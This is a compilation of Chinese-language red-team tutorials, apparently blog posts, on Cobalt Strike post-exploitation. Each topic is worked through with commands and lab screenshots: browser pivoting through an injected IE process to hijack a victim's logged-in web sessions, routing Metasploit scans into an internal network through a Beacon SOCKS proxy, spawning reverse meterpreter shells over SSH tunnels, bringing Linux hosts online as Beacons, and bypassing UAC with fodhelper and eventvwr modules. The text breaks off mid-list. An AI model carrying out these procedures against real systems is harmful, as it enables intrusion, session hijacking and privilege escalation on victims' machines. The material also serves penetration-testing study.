https://mp.weixin.qq.com/s/RfZZXqttSWN4A4DmG82UDA


 

Cobalt Strike 浏览器跳板攻击 

0x01 概念介绍 

浏览器跳板攻击（Browser Pivoting）是一个应用层的跳板技术。 

设想一个场景： 

攻击者获取了目标机器的 Beacon shell，然后通过 Cobalt Strike 的 screenshot 工具

进行截屏，看到受害机上的终端用户正在与 web 应用程序进行交互，比如登陆了

在线邮箱，正在邮箱应用的网页版客户端查看邮件。这种应用对于实现后渗透目标

具有很高的价值。 

如何去利用这些 web 应用呢？ 

【浏览器跳板攻击】就是适用于这种场景的一种攻击方式。 

简单来说，浏览器跳板攻击可以让攻击者以受害主机上的终端用户的身份来访问浏

览器上开着的应用。攻击者可以继承目标用户对于网站的访问权限，相当于直接跳

过了对于浏览器上的应用程序的身份验证。 

 

 

【浏览器跳板攻击】使攻击者可以用自己的浏览器通过目标的浏览器中继请求。这

使攻击者可以以目标用户的身份与应用网站进行静默交互、实现后渗透目标。 

但是，前提是终端用户必须使用 Internet Explorer 浏览器（iexplore.exe），

也就是说，只可以以目标用户的身份访问目标用户开在 Internet Explorer 浏览



 

器中的那些应用（区别于 explorer.exe），无法访问终端用户开在 Edge、Chrome 

等浏览器上的那些应用。 

0x02 实现原理 

下面介绍【浏览器跳板攻击】的实现原理。 

如果使用 socks 跳板/代理跳板来访问受害机终端用户打开的那些 web 应用，就无

法通过身份认证： 

 

 

那为什么浏览器跳板攻击与 socks 跳板不同，可以通过身份认证呢？ 

 

 

关键点在于 WinINet 这个库。工作原理是： 

1. 进程注入。浏览器跳板技术将一个 agent（代理）注入到 IE 浏览器进程中； 



 

2. 在团队服务器上创建一个 HTTP 代理服务器。到时候攻击者通过请求此代理服

务器的 IP 和端口，进而变成了 agent 的一个请求任务； 

3. 当攻击者从自己的浏览器请求 web 应用时，IE 中的 agent （代理）将此请求

转化为对 WinINet 库的 API 调用； 

4. 恰好， WinINet 也是 IE 浏览器用于 web 通信和管理身份认证的库。Internet 

Explorer 将其所有通信委托给 WinINet 库。并且使用 WinINet 这个库来管理

其用户的 cookies、SSL 会话和服务器身份验证； 

5. 基于相同的进程上下文，使用此库来进行一个 web 请求可以引发免费的透明

再验证。攻击者的 web 请求于是获取了终端用户的 cookies、SSL 会话和服务

器身份验证； 

6. 最终，攻击者的 web 请求就成为了当前开着的 IE 浏览器的进行的一个新的请

求。 

 

 

0x03 具体操作 

背景: 通过 Cobalt Strike 的 screenshot 工具看到目标用户使用 IE 浏览器通过身份

验证登陆了 processon 网站，想通过浏览器跳板攻击查看目标用户在此网站上的内

容。 



 

 

 

第一步：设置浏览器跳板 

beacon> sleep 0 

先把 beacon 设为交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数

据的，所以 beacon 连接到团队服务器的频率会影响浏览器跳板的同步性。所以要

把 beacon 会话设为交互模式来实现最好的效果。 

然后设置浏览器跳板代理（agent）。这一步实际上会完成两个任务： 

• 将 agent 程序注入受害机器的 IE 浏览器进程 

• 在团队服务器的一个端口上开启一个 HTTP 代理服务器 

[Beacon] → Explore → Browser Pivot： 

 

 



 

 

 

可以看到全部可注入的浏览器进程，包括 explorer.exe、iexplore.exe。 

经本人实验，选择 x86 的 iexplore.exe 进程进行注入效果比较好。也就是打勾的

这些进程，这些打勾的进程表示是 IE 浏览器进程的子标签页。 

我选择了 pid 为 21260 的进程进行注入：选中之后按 Launch。（注：可以在 

Proxy Server Port 字段选择 HTTP 代理服务器在团队服务器上开在哪个端口） 

那么如下图，就对 21260 这个 pid 的 IE 浏览器进程注入了浏览器跳板 DLL，并且

在团队服务器的 47855 端口启动了一个 HTTP 代理服务器： 

 

 

实际上，这个过程也可以通过 browserpivot 命令来实现。效果是等同的。 

顺便说一句，终止浏览器跳板会话使用 browserpivot stop 命令： 



 

 

 

第二步：通过 chromium 浏览器访问 web 应用 

使用 chromium 浏览器的好处是： 

chromium 浏览器有一个命令行参数 ignore-certificate-errors，加上该参数可

以忽略证书错误。这允许我们浏览一些基于 SSL 的网站而不必被提示错误，在一些

情况下我们很难绕过提示。所以搭配 chromium 浏览器的 ignore-certificate-

errors 选项使得 Cobalt Strike 的浏览器跳板功能更好使用。 

chromium --no-sandbox --ignore-certificate-errors --proxy-server=144.*.
*.70:47855 

注意这个 proxy-server 参数的值就是 HTTP 代理服务器的值： 

 

在 Kali 虚拟机中输入上面的命令（Kali 内置了 chromium 浏览器），然后会自动打

开浏览器页面。 

然后输入 processon 的网址：https://www.processon.com/diagrams 

然后就可以看到登录了目标机终端用户之后的网站页面了！ 



 

 

 

用石墨网站做实验也是一样的： 

访问 https://shimo.im/dashboard/used 可以看到： 

 

 

值得注意的是，在这些 HTTPS 网站上都有证书错误，但是 chromium 浏览器的 

ignore-certificate-errors 参数帮助我们绕过了错误提示，正常的访问到了网站。 

 

 



 

0x04 两个坑点 

1、 必须要先把 Beacon 设为交互式通信模式 

sleep 0 

因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的，所以 beacon 连接到团

队服务器的频率会影响浏览器跳板的同步性。 

如果处于异步通信模式下，会导致通过浏览器跳板访问到的 web 页面出现迟缓，

出现我上面的这样的页面： 

 

 

 

 

2、 必须要注入 x86 的 IE 浏览器进程 

如果一不小心注入了 explorer.exe 进程，就会出现如下效果： 



 

 

 

 

 

原因已经讲得很清楚，只有 IE 浏览器的 web 通信和管理身份认证使用了 WinINet 

库，Explorer 浏览器并没有使用这个库。 

另外必须要使用 x86 架构的 IE 浏览器子进程来注入浏览器跳板 DLL，因为只有注

入了与打开的 IE 选项卡关联的进程才能继承会话状态（通过身份认证）。 

但具体是哪个标签页进程无关紧要，因为子选项卡共享会话状态。Cobalt Strike 将

在它认为你可以注入的进程旁边显示一个勾选框。 



 

 

 

总结一下： 

要注入打勾勾的 x86 架构的 iexplore.exe 进程。 

 

参考文档： 

[1] Youtube 视频 - 【字幕版】Red Team Ops with Cobalt Strike 9 of 9 Pivoting，

Youtube，Raphael Mudge [2] Cobalt Strike mannual 4.0，Cobalt Strike 官网 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.youtube.com/watch?v=T6JOzXmpmZw&list=PLC0e6z60AM2Gqimz0kFiLBp5cCnCQGoud&index=9
https://www.cobaltstrike.com/downloads/csmanual40.pdf


 

Cobalt Strike & MetaSploit 联动 

0x01 准备工作 
• 受害主机：在关闭 Windows Defender 和其他一切杀软的前提下，在 Win 10 

主机下进行的实验。 

• MSF：本地 kali 

• Cobalt Strike 团队服务器：Ubuntu VPS 

• Cobalt Strike：3.14 

团队服务器： 

 

 

客户端： 

 

 

上线过程： 

因为我关闭了一切杀软及 Windows Defender，自不必做免杀。 



 

 

 

 

 



 

 

 

一些朋友搞不清楚 Windows Executable 和 Windows Executable (s) 的区别。据

官方文档说，Windows Executable 是生成一个 stager，但是 Windows Executable 

(s) 是 stageless 的，相当于直接生成一个 stage。这个涉及一个分阶段传送 

payload 的概念，不做过多解释。我认为选 Windows Executable (s) 比较好，因

为 payload stager 因其体积原因，没有一些内建的安全特性。所以能不分阶段就不

分阶段。 

然后就点击上线。 

 

 

点击上线之后，可以做一些基本的配置。如设置「抖动因子」或者启动「交互式模

式」。 

这两个概念官方手册有写，以下部分摘自 cs 官方文档，我翻译了一下： 



 

请注意，Beacon 是一个异步的 payload。命令不会立即执行。每个命令都

会先进入队列。当 Beacon 连接到你的时候。它会下载这些命令并挨个执

行它们。此时，Beacon 会将所有的输出报告给你。如果输入有误，使用 

clear 命令来清理当前 Beacon 的命令队列。 

默认情况下，Beacon 每 60 秒连接到你一次。你可以使用 Beacon 的 

sleep 命令修改这个时间设置。使用 sleep 接着一个秒数来指定 Beacon 

连接到你的频率。你也可以指定第二个参数，这个参数必须是一个 0 到

99 之间的数字。这个数字就是抖动因子。Beacon 会根据你指定的抖动因

子的百分比随机变化下次连接到你的时间。比如，sleep 300 20 这条命

令，会使得 Beacon 睡眠 300 秒，另外有 20% 的抖动因子。这意味着 

Beacon 在每次连接到你之后会随机睡眠 240 - 300 秒。 

要使得 Beacon 每秒都多次连接到你，使用 sleep 0 命令。这就是「交互

式模式」。这种模式下命令会立即执行。在你的隧道流量通过它之前你必

须使得你的 Beacon 处于交互模式下。一些 Beacon 命令（如 browerpivot、

desktop 等）会自动的使 Beacon 在下次连接到你时处于交互式模式下。 

在这里我设置为交互式模式好了： 

 

 

0x02 通过 beacon 内置的 socks 功能将本地 Msf 直接代入目标内网进行

操作 

准备工作说的有点事无巨细，相信这些大家也都会。然后就开始做 CS 和 MSF 的联

动。 

为什么需要 CS 和 MSF 的联动呢？主要是两个框架的侧重点不一样，尽管我们有了 

Beacon，但是我们有时候还需要借助 MSF 的 scanner、exploit 这些功能模块，而 

CS 更侧重后渗透、团队合作一些。 

MSF 就是本地 Kali 自带的 msf5： 



 

 

 

首先，到已控目标内网机器的 Beacon 下把 socks 起起来： 

beacon> getuidbeacon> socks 1080 

 

 

然后，通过 View → Proxy Pivots，复制生成的 MSF 代理链接。 

 

 



 

 

 

本地启动 MSF，挂着上面生成的代理链接，即可直接对目标内网进行各种探测： 

msf > setg Proxies socks4:1xx.1xx.57.70:1080    意思就是让本地的 msf 走上

面 cs 的 socks 代理 msf > setg ReverseAllowProxy true               建双

向通道 msf > use auxiliary/scanner/smb/smb_version     拿着 msf 中的各类

探测模块对目标内网进行正常探测即可,比如,识别目标内网所有 Windows 机器的详细系

统版本,机器名和所在域 msf > set rhosts 192.168.56.0/24                指定

 CIDR 格式的目标内网段，掩码可根据实际情况给的大一点,比如,0/20,0/16...msf >

 set threads 1                             线程不宜给的太大，可根据目标实

际情况,控制在 10 以内 msf > run 

 

 

根据实际情况增强或削弱掩码，从缩小或扩大扫描的子网范围。 



 

总之，这种方法是你先有一个 CS Beacon shell，然后通过 socks 代理，把受害主机

的流量代理到本地的 msf，然后本地 msf 就可以进行一些内网探测或漏洞利用。 

0x03 尝试借助 CS 的外部 tcp 监听器通过 ssh 隧道直接派生一个 

meterpreter 的 shell 到本地 

铺垫知识： 

铺垫知识很长，但只有先了解铺垫知识，后面的操作才会更好理解。 

1、 CS Foreign Listener 在这里要借助 CS 的 Foreign 监听器。如图是 CS 3.14 的监

听器截图（CS 4.0 的监听器类别有了较大改变）： 

 

 

以下内容引自 cs 官方文档，我做了一下翻译： 

其中，Foreign 监听器支持与其他软件的监听器进行派生（spawn），如 

msf 的 multi/handler。 

将监听器设置为 foreign 并指定主机和端口后可以将 Cobalt Strike 的 

payload 生成的会话转移到 msf 中。 

2、 CS 通讯模型 

首先要明确的一点是，所谓 CS+MSF 的联动，用大白话来说就是流量转发。 



 

流量转发是 CS 与 MSF 之间的事情，与受害主机的 Beacon 无关。完全是 CS 服务器

与 MSF 服务器这二者之间的流量转发。 

因为 CS 是 C/S 架构的，那么就牵扯出一个问题：CS 转发流量到 MSF（或相反的方

向），流量是 MSF 和 CS 客户端直连呢？还是走的 CS 的团队服务器进行转发呢？ 

这个就会涉及到 CS 的通讯模型： 

 

 

上图来自 Klion 的文章，是我们的客户端与团队服务器的通讯模型。 

以下内容来自 cs 官方手册，本人做了微小的翻译工作： 

Cobalt Strike 采取措施保护 Beacon 的通信，确保 Beacon 只能接收来自其

团队服务器的任务并且只能将结果发送至其团队服务器。 

首次设置 Beacon payload 时，Cobalt Strike 会生成一个团队服务器专有的

公钥/私钥对。团队服务器的公钥会嵌入 Beacon 的 payload stage。

Beacon 使用团队服务器的公钥来加密发送到团队服务器的会话元数据。 

Beacon 必须在团队服务器可以发出和接收来自 Beacon 会话的输出之前持

续发送会话元数据。此元数据包含一个由 Beacon 生成的随机会话秘钥。

团队服务器使用每个 Beacon 的会话秘钥来加密任务并解密输出。 

每个 Beacon 都使用此相同的方案来实现数据通道。当在混合 HTTP 和 

DNS Beacon 中使用记录数据通道时，有和使用 HTTPS Beacon 同样的安

全保护。 

请注意，当 Beacon 分阶段时， payload stager 因为其体积原因，没有这

些内建的安全特性。 



 

 

监听器是 Cobalt Strike 与 bot 之间进行通讯的核心模块。同时是 payload 

的配置信息以及告诉 Cobalt Strike 服务器以从 payload 收连接指令。其实

是位于 payload 配置上一层的抽象概念。 

监听器由用户定义的名称、payload 类型、主机、端口及其他信息组成，

用于定义 payload 的存放位置。 

虽然这些话说的很抽象，但是总之概括其意思，就是说： 

CS 的通讯模型中，客户端不会直接与 payload 进行连接，都是必须经过团队服务

器的。以团队服务器为中介，这是 CS 设计的一种的安全机制。 

所以对于此问题： 

CS 转发流量到 MSF（或相反的方向），流量是 MSF 和 CS 客户端直连呢？还是走

的 CS 的团队服务器进行转发呢？ 

答案应该是：CS 与 MSF 之间的流量转发，其实是 CS 团队服务器与 MSF 之间的流

量转发。客户端作为第三方只是与 CS 团队服务器进行交互。 

这样就清楚多了，确定了流量转发的双方对象为： 

• CS 团队服务器（后文简称 TS） 

• MSF 服务器 

那么根据实际情况的网络环境就会有如下这些可能的场景（CS 团队服务器一般不

会开在本地）： 

1. CS TS 在公网、MSF 在本地 

2. CS TS 在公网、MSF 在公网 

MSF 在公网的情况比 MSF 在本地的情况相对更好转发一些。因为如果 MSF 在本地，

没有公网 IP 地址，要想把 CS TS 的流量发到 MSF，就需要额外的处理。 

3、 Spawn 

下面是 cs 官方手册中关于 spawn 的介绍，我同样做了一点微小的翻译工作： 

Cobalt Strike 的 Beacon 最初是一个稳定的生命线，让你可以保持对受害

主机的访问权限。从一开始，Beacon 的主要目的就是向其他的 Cobalt 

Strike 监听器传递权限。 

使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个结

构（如：x86，x64）和一个监听器作为其参数。 



 

默认情况下，spawn 命令会在 rundll32.exe 中派生一个会话。管理员通过

查看告警可能会发现 rundll32.exe 定期与 Internet 建立连接这种异常现象。

为了更好的隐蔽性，你可以找到更合适的程序（如 Internet Explorer） 并

使用 spawnto 命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。 

注：拓展阅读——DllMain 与 rundll32 详解，倾旋的博客，倾旋，2019 年 10 月 2

日 

个人理解，实际上就是这种过程： 

 

 

当你对某个 Beacon 选择了 spawn，就是派生，之后会让你选择一个 Listener： 

https://payloads.online/archivers/2019-10-02/1


 

 

 

Listener 就是位于 payload 配置上一层的抽象概念，也就是告诉 CS 团队服务器从 

payload 收连接指令的地方，定义了 payload 的存放位置。 

通过对某个 Beacon 指定 Listener 进行派生，我们生成了新的会话。这个意思就

是让受害主机的 rundll32.exe 这个程序定期与我们指定在这个 Listener 中的地址、

端口进行连接，进行指令的收发。 

顺便多说一句，在 CS 中，将 payload 注入到内存中的命令除了 spawn，还有 

inject。 

具体操作： 

理解了前面的铺垫知识，下面的操作就很好理解了。 

第一步： 在本地 MSF 上创建监听器 

到本地机器把 msf 起起来,并创建如下监听器： 

msf > use exploit/multi/handler msf > set payload windows/meterpreter/r

everse_tcp 注: 此处的协议格式务必要和上面 cs 外部监听器的协议对应,不然 meter

 是无法正常回连的 msf > set lhost 192.168.113.131                   注：

这里填本地 MSF 服务器的 IP 地址 msf > set lport 8080 msf > exploit  



 

 

 

 

 

这样就在本地 MSF 上创建了一个监听器。 

第二步：给本地 MSF 一个公网地址 

这里通过 SSH 隧道转发： 

在一台公网 VPS 上编辑 sshd 配置，开启 ssh 转发功能,重启 ssh 服务，这是所有使

用 ssh 隧道转发前的必备操作： 

# vi /etc/ssh/sshd_config AllowTcpForwarding yes GatewayPorts yes TCPKe
epAlive yes PasswordAuthentication yes # systemctl restart sshd.service

  

再次回到自己本地的 Kali 中并通过 ssh 隧道做好如下转发： 



 

# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.113.131:8080 root@x.x.57.70 -
p 27035  

 

 

上面命令的意思就： \1. 通过 x.x.57.70 这台机器把来自外部的 8080 端口流量全部

转到我本地 192.168.113.131 的 8080 端口上； \2. 而本地 192.168.113.131 的 

8080 端口上跑的又正好是 meterpreter 的监听器； \3. 所以，最终才会造成 

meterpreter 本地上线的效果。 

隧道建立之后，习惯性的到 vps 上去看一眼，刚才通过隧道监听的 8080 端口到底

有没有起来，确实起起来了才说明隧道才是通的。另外，监听的端口不能和 vps 机

器上的现有端口冲突，否则隧道是建不成功的。 

# netstat -tulnp | grep '8080'  

 

 

如图就是建立成功了。 

第三步： 在 CS 上创建外部监听器 

在 cs 上创建一个 tcp 的 foreign listener，回连端口设为 8080： 

TCP 就可以，如果是 HTTP 或 HTTPS，最好用域名而不是 IP。 



 

 

 

这里的 MSF 的公网地址，就是第二步中通过 SSH 隧道转发到的 VPS 的公网地址。 

之所以要生成这个外部监听器，是因为后面我们要使用 spawn 命令，把会话转移到 

MSF 的服务器上。listener 是 spawn 命令的参数。 

如果我们的 MSF 是跑在公网服务器上的话，就可以省去第二步中 SSH 隧道从公网 

VPS 转发流量到本地的那步操作。 

注：我看到在一些文章中，还会加一个监听器，用于监听团队服务器。可能是因为

以为只能有一个会话，但是经本人测试，会话 spawn 到 msf 上之后，本地 CS 客户

端依然可以操作。所以就不必多开一个对 CS TS 的监听器了。 

第四步：spawn 

派生会话的操作很简单： 

对 Beacon 选择 spawn 选项（或在 Beacon shell 命令行里面输入 spawn）： 

 

为其选择 MSF 的 listener 作为参数： 



 

 

 

回到本地 MSF，就会发现相应目标机器的 meterpreter 已经被直接弹回到了本地： 

 

 

总之，我们完成了这样一个操作，从而实现了从 CS Beacon 到本地 MSF 

meterpreter 的派生： 

 

 



 

最后，To be honest，这个问题我也遇到了： 

 

 

如何去解决这个问题，是否 MSF 开在公网就能改善此情况，我还没有试过。在未

来的日子里，我会努力探索出更稳定的解决方案。 

 

 

 

拓展阅读： 

[1] DllMain 与 rundll32 详解，倾旋的博客，倾旋，2019 年 10 月 2 日 
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使用 Cobalt Strike 对 Linux 主机进行后渗透 

因为 Cobalt Strike 只能生成针对 Windows 的有效载荷，并不是全平台的。所以使

用 Cobalt Strike 对 Linux 主机进行后渗透常常被人忽略。但是其实是可以做到的。 

主要是为了对目标网络形成控制链。长话短说，有两种方法可以在 Cobalt Strike 中

让 Linux 主机上线： 

0x01 方法一：SSH 会话 

1、原理篇 

【SSH 会话】是针对 UNIX 目标进行后渗透的 Cobalt Strike 工具。 

使用 【SSH 会话】 作为 agent 有两个前提： 

1. 你已经有 1 个 Windows Beacon Shell 了。因为这个 Linux 的 Beacon 需要从一

个 Windows Beacon 来初始化； 

2. 需要知道 Linux 主机的可登录的 SSH 凭据。 

那么你可能会问了，那如果有了 SSH 凭据，为什么我不自己登上去看，还非要上

个 CS 干什么，毕竟 CS 又不是稳控。 

个人认为这主要是为了在后渗透的网络拓扑中把目标网络的主机们串起来，便于横

向。因为 SSH 会话生成的 Beacon 还具有连接到 TCP Beacon 的功能。这样可以形

成一个 Win → Linux → Win 的拓扑链。 

那么为什么使用 【SSH 会话】 作为在目标机器上的 agent？ 

• 功能上： 

– 可以上传、下载、执行命令和作为跳板 

– 支持加密通讯 

– 在多种操作系统和架构的环境中生效 

• 目标上自带。大多数 UNIX 目标中已经提供了 SSH 程序。 

功能上已经实现了 Beacon 的基本功能了。如果要重新设计创建具有以上这些特性

和功能的一个 agent，并且让此 agent 在多种操作系统和架构的主机环境中生效是

非常困难的。而且 SSH 会话还是绑定代理（bind agent），因此从概念上讲，它

非常适合 Cobalt Strike 的模型，可以用于进一步连接到 TCP Beacon。 

注：如果想要自定义配置 agent 可以使用 dropbear SSH 软件。它是一个小型 SSH 

服务器，你可以在编译时将自定义配置嵌入到其中，与这个特定的客户端功能搭配

使用，这可能是一个很好的后门。 



 

2、操作篇 

Beacon 初始化： 

• 使用账号密码启动 SSH 会话 

ssh [目标:端口] [用户名] [密码] 

• 使用密钥启动 SSH 会话 

ssh-key [目标:端口] [用户名] [/path/key] 

Beacon 中的命令： 

• 运行命令 

shell [命令] [参数] 

• 使用 sudo 运行命令（此命令不一定成功，这是 CS 的 bug） 

sudo [密码] [命令] [参数] 

• 改变文件夹 

cd /路径/ 

• 上传/下载文件 

upload [/本地路径/文件]download [文件] 

SSH 会话基本上就是一个简化版本的 Beacon。 

跳板功能： 

• 启动 SOCKS 跳板（pivoting） 

socks 1234 

• 反向端口转发 

rportfwd [监听端口] [转发的主机] [转发的端口] 

rportfwd 命令要求 SSH 守护进程的 GatewayPorts 选项被设置为 yes 或者是 

ClientSpecified；其中如果此选项被设置为 ClientSpecified 则要求反向端口转

发绑定为 localhost 之外的地址。 

注：用 dropbear SSH 就不会有问题，但如果只是使用 凭据验证至 SSH 守护进程就

要记住这个问题。 

重定向器功能： 



 

还可以进行一些跨会话的跳板（pivoting）操作。 

SSH 会话可以控制 TCP beacon，通过 connect [host] [port] 命令连接到一个等

待连接的 TCP Beacon。 

• 连接到一个 TCP Beacon 

connect [主机] [端口]  

• 创建一个反向 TCP Beacon 监听器 

[会话] → Pivoting → Listener  

 

 

注： 

• Pivot Listener 要求 SSH 守护进程的 GatewayPorts 选项被设置为 yes 或

是 ClientSpecified。 

• 如果 GatewayPorts 选项未被设置为 yes 或是 ClientSpecified，那么你

的跳板监听器（pivot listener） 会被绑定到 localhost，这将不会有效。 

• 在此选项设置没有问题的情况下，你可以将一个受害的 UNIX 目标主机转

换为用于反向 TCP Beacon 会话的重定向器。 

3、实例 

首先通过已有的 Windows Beacon Shell 初始化一个 SSH 会话 Beacon： 

sleep 0 ssh [目标主机 ip:端口] [用户名] [密码]  



 

 

 

然后就上线了一个 Linux Beacon Shell： 

 

 

 

 

实际测试中，这个 SSH 会话 Beacon Shell 老掉线，于是就没进行进一步的功能测试。 

0x02 方法二：Cross C2 项目 

Cross C2 项目是一个可以生成 Linux/Mac OS 的 CS payload 的跨平台项目。 

该项目的中文文档已经说的非常清楚了，作者也做了更新，修复了原本生成 

Payload 时候的 bug。并且优点在于实操发现生成的 Beacon Shell 很稳。 

操作过程中要注意如下几点： 

https://github.com/gloxec/CrossC2


 

• 要在 Linux/Mac OS 系统下起 CS 客户端，Windows 下不可以。 

• 使用 windows/beacon_https/reverse_https 监听器。 

• 要把团队服务器下的隐藏文件 .cobaltstrike.beacon_keys 复制到本地 CS 目

录下。 

• 文件都丢到 CS 客户端根目录下，别搞二级目录。 

• 生成的 payload 是一个 Linux 下的可执行文件，ip 和端口对应那个 

windows/beacon_https/reverse_https 监听器。 

把生成的可执行文件丢到目标 Linux 机器下执行，即可上线： 

 

 

 

 

 

 



 

 

 

 

 

当然，上线之后，你在 Windows 下面起的 CS 客户端，也可以去操作这个 Linux 

Beacon Shell。 

0x03 总结： 

经过两种方法上线了 Linux Beacon Shell 之后的拓扑图如下： 



 

 

 

总之，通过 SSH 会话上线 Linux Beacon Shell，有两个前提： 

1. 你已经有至少 1 个 Windows Beacon Shell 了。因为这个 Linux 的 Beacon 需要

从一个 Windows Beacon 来初始化； 

2. 需要知道 Linux 主机的可登录的 SSH 凭据。 

实测不是很稳。但是功能多，可以作为重定向器继续连接到 TCP Beacon，方便横

向。 

通过 Cross C2 项目生成可以控 Linux 的 payload 上线的 Linux Beacon Shell，简单

稳定。 

 

参考文档： 

[1] Youtube 视频 - 【字幕版】Red Team Ops with Cobalt Strike 9 of 9 Pivoting，

Youtube，Raphael Mudge [2] Cross C2，Github，gloxec 

 

 

 

 

 

https://www.youtube.com/watch?v=T6JOzXmpmZw&list=PLC0e6z60AM2Gqimz0kFiLBp5cCnCQGoud&index=9
https://github.com/gloxec/CrossC2/blob/master/README_zh.md


 

Cobalt Strike 中 Bypass UAC 

CS 手册 4.0 中说： 

Cobalt Strike 附带了一些绕过 UAC 的攻击。但如果当前用户不是管理员，

攻击会失效。要检查当前用户是否在管理员组里，使用 run whoami 

/groups 命令。 

所以本文中使用 uac-dll 和 uac-token-duplication 这两个 CS 中注册的 bypass 

UAC 模块的姿势不对，需要先提权，至 Administrator 或者 SYSTEM 权限。然后再

通过 elevate 命令使用这些 Bypass UAC 的模块。 

 

原文： 

0x01 前言 

本文只是记录下基本操作。这些操作都是我在读 Cobalt Strike 官网的 CS 4.0 手册的

过程中自己无中生有凭空想出来的，所以方法可能不是很主流，有点繁琐、操作较

麻烦，但是也是我自己试了完全可行的。慢慢探索更简单的道路吧、本菜鸡对自己

要求不是太高，注重对自己创造力的培养。 

实验环境: Cobalt Strike 3.14 非试用版 受害机器：有 360(ZhuDongFangYu.exe) 的 
WIN10 

本文看点: 

• Cobalt Strike Elevate 模块 BypassUAC 方法测试 

• MSF 和 CS 联动来 Bypass UAC 

• MSF → Meterpreter 方向弹 shell 

0x02 Cobalt Strike 中的提权命令 

一些后渗透命令要求系统管理员级别的权限。Beacon 有几个帮助用户提升访问权

限的选项。 

通过 elevate 命令利用漏洞提权 

输入 elevate 可以列出在 Cobalt Strike 中注册的权限提升漏洞。运行 elevate 

[exploit listener] 来尝试使用特定的漏洞利用来提权。 

图形化的操作路径是：通过 [beacon] → Access → Elevate 来启动其中一个漏洞利

用。 



 

 

 

如图，在 Cobalt Strike 3.14 非试用版中，elevate 模块内置了： 

• ms14-058 

• uac-dll 

• uac-token-duplication 

这三个模块。ms14-058 模块用于将 Windows 主机从普通用户权限直接提升到 

System 权限。uac-dll 和 uac-token-duplication 模块用于协助渗透测试人员进

行 bypassUAC 操作，具体尝试如下： 

我的 beacon_http/reverse_http 监听器： 

 

 

命令： 

elevate uac-dll test1elevate uac-token-duplication test1 

0x03 使用 UAC-DLL 模块 Bypass UAC 

当前 Beacon 没有过 UAC： 



 

 

 

使用 uac-dll bypassUAC： 

 

 

然后弹回一个 Beacon shell，成功 Bypass 了 UAC： 

 

 



 

但其实这样很不现实，因为在 Bypass UAC 的过程中，会在目标主机上弹两个框，

必须要对方点确定才可以，否则无法完成此操作： 

 

 



 

 

 

这可能是因为我用于 Bypass UAC 的 Beacon shell 是普通用户权限。但是这里我不

想尝试先提权来看看能不能绕过这两个弹窗了，有点懒，想直接联动 MSF 来 

BypassUAC。 

0x04 联动 MSF 来使 CS Beacon Shell BypassUAC 

在 CobaltStrike&MetaSploit 联动 这篇文章里，我提到过 Cobalt Strike 与 MSF 的联

动，这里我就借助 MSF 的 post/multi/recon/local_exploit_suggester 来帮助 

Cobalt Strike 的这个目标 BypassUAC： 

第一步： 在本地 MSF 上创建监听器 

我在公网 VPS 上开了个 MSF，并创建如下监听器： 

msf > use exploit/multi/handler msf > set payload windows/meterpreter/r

everse_tcp 注: 此处的协议格式务必要和上面 cs 外部监听器的协议对应,不然 meter

 是无法正常回连的 msf > set lhost 144.*.*.70                        注：

这里填本地 MSF 服务器的 IP 地址 msf > set lport 7777 msf > exploit  

http://blog.leanote.com/post/snowming/43cef4b64cbd


 

 

 

第二步： 在 CS 上创建外部监听器 

在 CS 上创建一个 tcp 的 foreign listener，回连端口设为 9999： （TCP 就可以，如

果是 HTTP 或 HTTPS，最好用域名而不是 IP） 

 

 

第三步：spawn 

派生会话的操作很简单： 对 Beacon 选择 spawn 选项,为其选择 MSF 的 listener 

MSF_VPS 作为参数。 



 

回到本地 MSF，就会发现相应目标机器的 meterpreter 已经被直接弹回到了公网 

MSF 上： 

 

 

总之，我们完成了这样一个操作，从而实现了从 CS Beacon 到公网 MSF 

meterpreter 的派生。 

第三点五步：因贫穷导致的小插曲 

本来这一步是要提权的，但是这个步骤真的一波三折。 

在弹回来的 meterpreter 里面，使用提权推荐模块： 

meterpreter > run post/multi/recon/local_exploit_suggester 

此模块给出了一些提权建议。但是悲伤的故事发生了：内存不足。 



 

 

 

因为我个人的贫穷，我一直用的我朋友的一台 低配 VPS（内存可能 512），所以我

在这仅仅的一台 VPS 上同时开了 CS 团队服务器和 MSF，最终导致了内存不足的结

果。 

贫穷的我继续借 VPS。找一个表哥借了一个 VPS，但是这台机子腾讯云网页控制台

层面的一些设置导致 MSF 公网 IP 的网卡监听失败，他人在途中暂时也没法改设置。

借也借不到了，还是用本地 MSF 搭配 SSH 隧道吧…… 



 

 

 

派生会话之后我终于又一次见到了 meterpreter…..来之不易我要好好珍惜： 

 

 

第四步：使用 MSF BypassUAC 

meterpreter > run post/multi/recon/local_exploit_suggester 



 

 

 

一个一个试呗。先用 exploit/windows/local/bypassuac_eventvwr 这个模块： 

 

 



 

 

 

 

 

exploit 之后不仅给我蹦出了下面这个页面，而且还没成功。这可能是因为某次尝

试用 eventvwr 来 BypassUAC 之后，我当时乱改了注册表里面一些，搞完就没改回

来…… 



 

 

 

 

 

换个模块试试，尝试使用 exploit/windows/local/bypassuac_fodhelper： 



 

 

 

 

 

看上去此模块利用成功了： 

 

 



 

第五步：弹回一个 BypassUAC 的 Beacon 到 CS 团队服务器 

 

 

运行看起来很顺利，但是为什么我的 Cobalt Strike 那里没收到这个弹回来的 

Beacon Shell 呢? 

 

机智的我立刻发现了问题，上面那个 lport 的端口设错了，我在网上随便找到的 

MSF shell 弹回 CS Beacon Shell 的方法，它写的端口是 50050，但是用脑子一想就

不对啊。要弹回的肯定是 reverse_tcp 监听器的端口，这个监听器肯定不可能开在 

50050 端口上啊，团队服务器都占用了不是？所以我很怀疑写那篇文章的人怎么弹

回到 50050 端口的，除非他把团队服务器的默认端口改了…… 

总之，重新设置 lport，使其与 windows/beacon_http/reverse_http 监听器的端

口对应： 



 

 

 

然后喜迎我的新 Beacon 来到，是 pid 为 40208 的那个 Beacon 嗷： 

 

 

直接 Bypass 了 UAC。因为我用的 payload 是 

exploit/windows/local/bypassuac_fodhelper，就是一个绕 UAC 的 payload，所

以这个 Beacon 是直接绕过了 UAC 的。 



 

 

 

我本来想，先用 MSF 提权，然后尝试是否可以避开 CS 内置的 BypassUAC 方法 

uac-dll 利用过程中的两个 UAC 弹窗。但是与其使用 MSF 提权然后绕这两个弹窗，

我觉得不如直接用 MSF BypassUAC 一步到位。 

总之我这里借助 MSF 来使 CS Beacon shell bypass UAC 的操作步骤是： 

1. 我先对这个 CS Beacon shell 派生一个到 MSF 

